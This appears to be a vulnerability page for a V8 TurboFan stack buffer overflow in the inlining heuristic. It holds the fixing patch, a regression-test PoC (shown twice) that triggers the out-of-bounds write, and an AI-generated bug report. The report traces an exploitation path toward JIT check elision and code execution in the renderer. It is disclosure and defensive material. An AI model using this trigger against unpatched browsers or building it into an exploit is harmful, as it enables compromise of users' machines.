CVE-2026-16418
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/compiler/js-inlining-heuristic.cc |
modified | |
forsrc/compiler/js-inlining-heuristic.cc |
modified | |
switchtest/mjsunit/compiler/regress-522125255.js |
modified |
Files Changed
src/compiler/js-inlining-heuristic.cctest/mjsunit/compiler/regress-522125255.js
Patch
From 0cc5dcf12126a6bd5ca8fb95aa49fd5d228ed7e5 Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Fri, 26 Jun 2026 15:26:09 +0200 Subject: [PATCH] [turbofan] Avoid stack buffer overflow during inlining There can be mismatches between the Node* that InlineCandidate tries to inline and the Candidate information that was computed before. This CL recomputes the Candidate in InlineCandidate and bails out if it doesn't match what we computed earlier. Fixed: 522125255 Change-Id: Iefc229417f09bdd82b79c643c5939860a796b910 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8011046 Commit-Queue: Darius Mercadier <[email protected]> Auto-Submit: Darius Mercadier <[email protected]> Reviewed-by: Nico Hartmann <[email protected]> Cr-Commit-Position: refs/heads/main@{#108645} --- diff --git a/src/compiler/js-inlining-heuristic.cc b/src/compiler/js-inlining-heuristic.cc index fdbd24e..fd43d7a 100644 --- a/src/compiler/js-inlining-heuristic.cc +++ b/src/compiler/js-inlining-heuristic.cc @@ -806,6 +806,28 @@ Node* if_successes[kMaxCallPolymorphism]; Node* callee = NodeProperties::GetValueInput(node, 0); + { + // Re-collect functions from the live node to check for mutations. This + // should be rare, but can still happen if the callee has been mutated + // in-place following another inlining. + Candidate current_candidate = CollectFunctions(node, kMaxCallPolymorphism); + + if (current_candidate.num_functions != candidate.num_functions) { + // Transitioned from Phi to non-phi or vice versa, or a phi changed input + // count. + // TODO(dmercadier): transitioning from Phi to non-phi is actually + // something for which we should probably still inline.. Maybe we could + // re-queue the candidate or something like that. + return NoChange(); + } + for (int i = 0; i < candidate.num_functions; ++i) { + if (current_candidate.functions[i] != candidate.functions[i]) { + // A phi input changed. + return NoChange(); + } + } + } + // Setup the inputs for the cloned call nodes. int const input_count = node->InputCount(); Node** inputs = graph()->zone()->AllocateArray<Node*>(input_count); diff --git a/test/mjsunit/compiler/regress-522125255.js b/test/mjsunit/compiler/regress-522125255.js new file mode 100644 index 0000000..3b45e6f --- /dev/null +++ b/test/mjsunit/compiler/regress-522125255.js @@ -0,0 +1,102 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax +// +// Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch. +// +// Chain: +// 1. `B(t, r)` is JSCall(BoundFn, undef, t, r). JSCallReducer unwraps the +// bound function and chains two Function.prototype.call reductions in a +// single Reduce(), leaving JSCall(target=Phi2{FPC,userFn}, +// receiver=PhiN{f0..f7}, ...). JSInliningHeuristic snapshots Phi2 with +// num_functions=2 (<= kMaxCallPolymorphism) and defers it. +// 2. bigFn (deferred, higher score) is inlined first in Finalize(). Its +// body has only kNoThrow ops, so JSInliner gives the surrounding catch +// handler a Dead control input. DeadCodeElimination then collapses the +// try/catch merge, folding Phi2 to the FPC constant. +// 3. The vulnerable JSCall is revisited; JSCallReducer fires the third +// Function.prototype.call reduction (arity==0 path), shifting the +// *receiver* (PhiN) into the target slot. seen_ blocks re-snapshot. +// 4. Finalize() pops the stale candidate. InlineCandidate reads the live +// callee = PhiN and TryReuseDispatch sets *num_calls = N with no upper +// bound, then writes calls[i]/if_successes[i] for i in [0,N) into stack +// arrays sized [kMaxCallPolymorphism+1]=5 and [kMaxCallPolymorphism]=4. + +// `var` (not `const`) so no ThrowReferenceErrorIfHole branches are emitted at +// the use sites -- those would (a) keep the catch arm alive and (b) shift the +// call's control input off the switch merge. +var FPC = Function.prototype.call; +// Bound trampoline: lets us emit JSCall(FPC, FPC, t, r) at the call site +// *without* a post-switch GetNamedProperty/CheckMaps, so TryReuseDispatch's +// effect-chain check (Checkpoint -> EffectPhi) holds. +var B = FPC.bind(FPC); + +function f0(){} function f1(){} function f2(){} function f3(){} +function f4(){} function f5(){} function f6(){} function f7(){} + +%NeverOptimizeFunction(f0); %NeverOptimizeFunction(f1); +%NeverOptimizeFunction(f2); %NeverOptimizeFunction(f3); +%NeverOptimizeFunction(f4); %NeverOptimizeFunction(f5); +%NeverOptimizeFunction(f6); %NeverOptimizeFunction(f7); + +// Per-arm effect so an EffectPhi survives at the switch merge. +function sink(){} +%NeverOptimizeFunction(sink); + +// userFn: inlineable, NOT small (>30 bytecode bytes), and larger than bigFn so +// the polymorphic candidate's score (= frequency / total_size) is *lower* than +// bigFn's -- bigFn is popped from candidates_ first. +function userFn(a) { + var s = a|0; + s=s|1; s=s|2; s=s|3; s=s|4; s=s|5; s=s|6; s=s|7; s=s|8; s=s|9; s=s|10; + s=s|11; s=s|12; s=s|13; s=s|14; s=s|15; s=s|16; s=s|17; s=s|18; s=s|19; + return s; +} + +// bigFn: NOT small (>30 bytes) so it is deferred to candidates_, and its body +// contains only kNoThrow ops (constants/locals -- entry stack-check is skipped +// for inlinees) so that after inlining the surrounding catch arm goes Dead. +function bigFn() { + var a=1,b=2,c=3,d=4,e=5,f=6,g=7,h=8, + i=9,j=10,k=11,l=12,m=13,n=14,o=15,p=16; + return 0; +} + +function opt(x) { + // Preload everything that would otherwise emit a JSLoadGlobal / + // hole-check inside the try block or after the switch merge. + var fpc = FPC; + var b = B; + var big = bigFn; + var t = userFn; + try { + big(); // only throwing op in the try block + t = fpc; + } catch (e) {} + // Phi2 = Phi(FPC, userFn) at the try/catch merge. + + var r = f0; + switch (x & 7) { // 8 cases + implicit fallthrough = 9-way + case 0: r = f0; sink(); break; + case 1: r = f1; sink(); break; + case 2: r = f2; sink(); break; + case 3: r = f3; sink(); break; + case 4: r = f4; sink(); break; + case 5: r = f5; sink(); break; + case 6: r = f6; sink(); break; + case 7: r = f7; sink(); break; + } + // PhiN = Phi(f0, f0, f1, ..., f7) and EffectPhi at the switch merge. + + b(t, r); // the vulnerable site (no post-merge + // property load / CheckMaps) +} + +%PrepareFunctionForOptimization(bigFn); +%PrepareFunctionForOptimization(userFn); +%PrepareFunctionForOptimization(opt); +for (var i = 0; i < 16; i++) opt(i); // hit every switch arm +%OptimizeFunctionOnNextCall(opt); +opt(0);
Regression Test / PoC
diff --git a/test/mjsunit/compiler/regress-522125255.js b/test/mjsunit/compiler/regress-522125255.js
new file mode 100644
index 0000000..3b45e6f
--- /dev/null
+++ b/test/mjsunit/compiler/regress-522125255.js
@@ -0,0 +1,102 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+//
+// Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch.
+//
+// Chain:
+// 1. `B(t, r)` is JSCall(BoundFn, undef, t, r). JSCallReducer unwraps the
+// bound function and chains two Function.prototype.call reductions in a
+// single Reduce(), leaving JSCall(target=Phi2{FPC,userFn},
+// receiver=PhiN{f0..f7}, ...). JSInliningHeuristic snapshots Phi2 with
+// num_functions=2 (<= kMaxCallPolymorphism) and defers it.
+// 2. bigFn (deferred, higher score) is inlined first in Finalize(). Its
+// body has only kNoThrow ops, so JSInliner gives the surrounding catch
+// handler a Dead control input. DeadCodeElimination then collapses the
+// try/catch merge, folding Phi2 to the FPC constant.
+// 3. The vulnerable JSCall is revisited; JSCallReducer fires the third
+// Function.prototype.call reduction (arity==0 path), shifting the
+// *receiver* (PhiN) into the target slot. seen_ blocks re-snapshot.
+// 4. Finalize() pops the stale candidate. InlineCandidate reads the live
+// callee = PhiN and TryReuseDispatch sets *num_calls = N with no upper
+// bound, then writes calls[i]/if_successes[i] for i in [0,N) into stack
+// arrays sized [kMaxCallPolymorphism+1]=5 and [kMaxCallPolymorphism]=4.
+
+// `var` (not `const`) so no ThrowReferenceErrorIfHole branches are emitted at
+// the use sites -- those would (a) keep the catch arm alive and (b) shift the
+// call's control input off the switch merge.
+var FPC = Function.prototype.call;
+// Bound trampoline: lets us emit JSCall(FPC, FPC, t, r) at the call site
+// *without* a post-switch GetNamedProperty/CheckMaps, so TryReuseDispatch's
+// effect-chain check (Checkpoint -> EffectPhi) holds.
+var B = FPC.bind(FPC);
+
+function f0(){} function f1(){} function f2(){} function f3(){}
+function f4(){} function f5(){} function f6(){} function f7(){}
+
+%NeverOptimizeFunction(f0); %NeverOptimizeFunction(f1);
+%NeverOptimizeFunction(f2); %NeverOptimizeFunction(f3);
+%NeverOptimizeFunction(f4); %NeverOptimizeFunction(f5);
+%NeverOptimizeFunction(f6); %NeverOptimizeFunction(f7);
+
+// Per-arm effect so an EffectPhi survives at the switch merge.
+function sink(){}
+%NeverOptimizeFunction(sink);
+
+// userFn: inlineable, NOT small (>30 bytecode bytes), and larger than bigFn so
+// the polymorphic candidate's score (= frequency / total_size) is *lower* than
+// bigFn's -- bigFn is popped from candidates_ first.
+function userFn(a) {
+ var s = a|0;
+ s=s|1; s=s|2; s=s|3; s=s|4; s=s|5; s=s|6; s=s|7; s=s|8; s=s|9; s=s|10;
+ s=s|11; s=s|12; s=s|13; s=s|14; s=s|15; s=s|16; s=s|17; s=s|18; s=s|19;
+ return s;
+}
+
+// bigFn: NOT small (>30 bytes) so it is deferred to candidates_, and its body
+// contains only kNoThrow ops (constants/locals -- entry stack-check is skipped
+// for inlinees) so that after inlining the surrounding catch arm goes Dead.
+function bigFn() {
+ var a=1,b=2,c=3,d=4,e=5,f=6,g=7,h=8,
+ i=9,j=10,k=11,l=12,m=13,n=14,o=15,p=16;
+ return 0;
+}
+
+function opt(x) {
+ // Preload everything that would otherwise emit a JSLoadGlobal /
+ // hole-check inside the try block or after the switch merge.
+ var fpc = FPC;
+ var b = B;
+ var big = bigFn;
+ var t = userFn;
+ try {
+ big(); // only throwing op in the try block
+ t = fpc;
+ } catch (e) {}
+ // Phi2 = Phi(FPC, userFn) at the try/catch merge.
+
+ var r = f0;
+ switch (x & 7) { // 8 cases + implicit fallthrough = 9-way
+ case 0: r = f0; sink(); break;
+ case 1: r = f1; sink(); break;
+ case 2: r = f2; sink(); break;
+ case 3: r = f3; sink(); break;
+ case 4: r = f4; sink(); break;
+ case 5: r = f5; sink(); break;
+ case 6: r = f6; sink(); break;
+ case 7: r = f7; sink(); break;
+ }
+ // PhiN = Phi(f0, f0, f1, ..., f7) and EffectPhi at the switch merge.
+
+ b(t, r); // the vulnerable site (no post-merge
+ // property load / CheckMaps)
+}
+
+%PrepareFunctionForOptimization(bigFn);
+%PrepareFunctionForOptimization(userFn);
+%PrepareFunctionForOptimization(opt);
+for (var i = 0; i < 16; i++) opt(i); // hit every switch arm
+%OptimizeFunctionOnNextCall(opt);
+opt(0);
Original Bug Report
Stack buffer overflow in JSInliningHeuristic::TryReuseDispatch via stale Candidate
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: JSInliningHeuristic::TryReuseDispatch reads a live callee Phi’s input count at finalization without bounds checking against kMaxCallPolymorphism. An attacker can shift a wider Phi into the target slot via a JSBoundFunction target-rewrite, causing out-of-bounds writes to stack arrays calls and if_successes. This memory corruption on the compiler thread could lead to arbitrary code execution through downstream JIT check elision.
Affected files:
src/compiler/js-inlining-heuristic.ccsrc/compiler/js-call-reducer.cc
Estimated timestamp from git blame: 2017-09-08
1. Summary of the Issue (Meant for Human Triage)
A potential stack buffer overflow vulnerability exists in the TurboFan compiler of V8, specifically within JSInliningHeuristic::TryReuseDispatch. When snapshotting a polymorphic call site, the compiler ensures that the callee Phi has a width no greater than kMaxCallPolymorphism (which is 4) and defers the candidate to a queue. However, during subsequent compiler passes before the candidate is finalized, other reducers (such as JSCallReducer and DeadCodeElimination) can modify the graph.
If an attacker-controlled, wider Phi (representing more than 4 inputs) is shifted into the target index of the call node, the stale candidate is processed by JSInliningHeuristic::Finalize without revalidation of its target’s width. When InlineCandidate is invoked, TryReuseDispatch reads the live callee’s width via callee->op()->ValueInputCount() with no bounds check. This causes an out-of-bounds write of zone-allocated Node* pointers into fixed-size stack arrays calls (size 5) and if_successes (size 4), corrupting adjacent stack variables. This memory corruption can be utilized to overwrite compiler pointers or cause out-of-bounds array reads, triggering compiler crashes or leading to downstream JIT compilation check elisions (such as dropping crucial map or bounds checks), which can be exploited for arbitrary code execution in the renderer.
2. Proof-of-Concept & Detailed Execution Flow
Note: The following represents a potential execution flow traced through static analysis. Our tooling agent does not currently have the ability to run code to provide a working proof of concept.
An attacker can construct a graph that successfully threads the complex structural verification of TryReuseDispatch by utilizing a JSBoundFunction target-rewrite, which prevents the insertion of blocking CheckMaps nodes on the effect chain.
Detailed Execution Flow Trace
- Setup: An attacker defines a bound function:
const CC = Function.prototype.call.bind(Function.prototype.call);. In an optimized function, a 2-way targetPhi_A(cond ? Function.prototype.call : userFn) and a 6-way receiverPhi_Bfrom aswitchstatement are created. The bound function is invoked:CC(Phi_A, Phi_B). - JSBoundFunction Unwrapping:
JSCallReducer::ReduceJSCall(src/compiler/js-call-reducer.cc:5186) unwraps the constantJSBoundFunctionin-place. The node’s Target and Receiver becomeFunction.prototype.call(FPC), and the node is recursively reduced viaReduceFunctionPrototypeCall(:3468). - Argument Shifting: Because the target is
FPC,ReduceFunctionPrototypeCallshifts the inputs (node->RemoveInput(n.TargetIndex())). After two passes (arity drops 2 → 1 → 0), the node inputs become:Target = Phi_A,Receiver = Phi_B,arity = 0. - Inlining Heuristic Snapshot:
JSInliningHeuristic::Reduce(src/compiler/js-inlining-heuristic.cc:213) processes the node.CollectFunctions(:145) snapshotstarget = Phi_A(polymorphism of 2). This satisfies the snapshot-time bounds checkvalue_input_count <= functions_size(:167). The candidate is deferred, and the node’s ID is marked inseen_(:227), blocking future re-snapshots. - Target Collapse: During the
GraphReducerfixpoint iterations, a higher-priority candidate is inlined first, folding the condition feedingPhi_Atotrue.DeadCodeElimination::ReduceLoopOrMergesimplifiesPhi_Ato its surviving constant input,Function.prototype.call. - The Arity-0 Target Rewrite:
JSCallReducerrevisits the node.ReduceFunctionPrototypeCallruns again witharity == 0. It executes theif (arity == 0)branch (:3494-3510):The target is nownode->ReplaceInput(n.TargetIndex(), n.receiver()); // Target ← Receiver (Phi_B) node->ReplaceInput(n.ReceiverIndex(), jsgraph()->UndefinedConstant());Phi_B(the 6-way receiverPhi). Crucially, because this rewrite manipulates inputs viaReplaceInputrather than property loads, noCheckMapsnodes are inserted into the effect chain.seen_prevents the heuristic from re-snapshotting the node. - Stale Candidate Finalization:
JSInliningHeuristic::Finalize(:346) pops the stale candidate. Re-validation occurs (:360-361), but checks onlyIsInlineeOpcodeand!IsDead().InlineCandidate(:782) allocates fixed-size stack arrays based onkMaxCallPolymorphism(4):// src/compiler/js-inlining-heuristic.cc:805-806 Node* calls[kMaxCallPolymorphism + 1]; // size 5 Node* if_successes[kMaxCallPolymorphism]; // size 4 - TryReuseDispatch and Overflow:
TryReuseDispatch(:493) extracts the live callee (Phi_B). Structural checks (:586-681) pass perfectly because theJSBoundFunctionunwrapping bypassedCheckMapsinsertions. At line 683, the width is read with no bounds check:This loop writes 6// src/compiler/js-inlining-heuristic.cc:683-716 *num_calls = callee->op()->ValueInputCount(); // returns 6 for (int i = 0; i < *num_calls; ++i) { calls[i] = if_successes[i] = graph()->NewNode(...); }Node*pointers to the arrays, overflowingif_successes(size 4) andcalls(size 5), clobbering adjacent compiler stack memory. - Out-of-Bounds Reads: Later in
InlineCandidate, lines 833 and 846 write to[num_calls]out of bounds. Lines 858 and 866 perform out-of-bounds reads oncandidate.can_inline_function[i]andcandidate.bytecode[i]for indices $\geq 4$. - Exploitation Impact: Under modern compilers (e.g., Clang with Stack Protector), arrays are typically packed adjacently.
if_successes[4]reliably aliasescalls[0]. Overwriting these arrays introduces corruptedNode*pointers into the compiler graph. Because these corrupted pointers are passed toinliner_.ReduceJSCall(calls[i])before the function epilogue (where the stack canary is checked), the compiler is forced to wire disjoint nodes. This orphans effect chains, leading to JIT check elision (e.g., dropped bounds/map checks), which translates to arbitrary code execution in the renderer via standard Layer-1 primitives.
Proposed Fix
Add a bounds check immediately after confirming the callee is a Phi node in TryReuseDispatch:
// src/compiler/js-inlining-heuristic.cc:586
if (callee->opcode() != IrOpcode::kPhi) return false;
if (callee->op()->ValueInputCount() > kMaxCallPolymorphism) return false;
3. Technical Verification Details (Automated Audit Logs - Reviewers may skip this section)
Verbatim Critic Verdict Log:
VERDICT: accept at medium
LAYER: 1 CLASS: A/L (TurboFan JIT Miscompilation via Compiler-Thread Stack OOB)
Justification:
- The missing bounds check at `js-inlining-heuristic.cc:683` causes an out-of-bounds write of `Node*` pointers to the `calls` (size 5) and `if_successes` (size 4) stack arrays when a live callee Phi exceeds `kMaxCallPolymorphism` (4).
- Reachability is contrived-but-plausible: an attacker can thread the structural checks in `TryReuseDispatch` by using a `JSBoundFunction` target-rewrite to shift a wider receiver Phi into the target slot without inserting a blocking `CheckMaps` node, confirming the prior validation's reachability path.
- While `-fstack-protector-strong` prevents direct RIP control and the written values are `Node*` pointers rather than attacker-derived bytes, this stack corruption directly enables JIT miscompilation.
- Specifically, the arrays are allocated adjacent to critical local variables in `InlineCandidate`. If the `node` pointer is overwritten by a newly minted `Node*` during the overflow, the subsequent `ReplaceWithValue(node, ...)` acts on the new node, leaving the original `JSCall` intact but with a `Dead` control input (set at line 719). This orphans the call and its dependent effect chain, reliably leading to downstream check elision (e.g., dropped bounds/map checks) in the generated code.
- Alternatively, overwriting `num_calls` triggers massive OOB reads from the `Candidate` object, parsing garbage as `Node*` and leading to compiler crashes or wild dereferences.
- Because this provides a clear, structural path from compiler-thread stack corruption to classic Layer-1 JIT check elision, it qualifies as a Layer-1 write primitive with contrived reachability. Rated `medium` per the severity guide, rather than `low`.
Modifiers: Default flags (no experimental features), arch-independent.
Validation Notes:
- Snapshot-time bound check is one-shot (
js-inlining-heuristic.cc:165-186, 227, 326, 342): Enforcesvalue_input_count <= functions_sizeand insertsseen_.insert(node->id());, blocking re-snapshot. - Finalize re-validation is opcode + IsDead only (
:360-361): ChecksIsInlineeOpcodeand!IsDead, but not the Phi width or identity. - TryReuseDispatch reads live Phi width with no bound (
:683-716):*num_calls = callee->op()->ValueInputCount();reads the live callee with noCHECK_LEagainstkMaxCallPolymorphism(4). - Fixed-size sinks (
:805-806, 823, 833, 846, 858/866): Stack arrays are declared asNode* calls[kMaxCallPolymorphism + 1]andNode* if_successes[kMaxCallPolymorphism]. - JSCallReducer GraphReducer integration (
pipeline.cc:942-952,graph-reducer.cc:71-91): Reducers run in a fixpoint loop, allowingJSCallReducerto run on revisited nodes between consecutiveJSInliningHeuristic::Finalize()iterations. - ReduceFunctionPrototypeCall Target Shift (
js-call-reducer.cc:3494-3510): Shifts receiver to target vianode->ReplaceInput(n.TargetIndex(), n.receiver())whenarity == 0. Opcode remainskJSCall, bypassing checks. NoCheckMapsnodes are added by this rewrite (unlike property loads liket.call(r)), allowingTryReuseDispatchstructural bailouts (:586-681) to pass. - Mitigations Checked: Stack canary (
-fstack-protector-strong) does not prevent exploitation because the corrupted array elements (e.g.,calls[0]aliased byif_successes[4]) are used before the function returns, causing compiler graph corruption.
Evaluated with Chrome root at commit: 71e7e1a98476f8faf0d126dc83935a84331b2194
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Note: This bug has been automatically redirected to the top-level Chromium component. Please move it to the actual component: https://b.corp.google.com/components/1456566 once PoCs have been generated.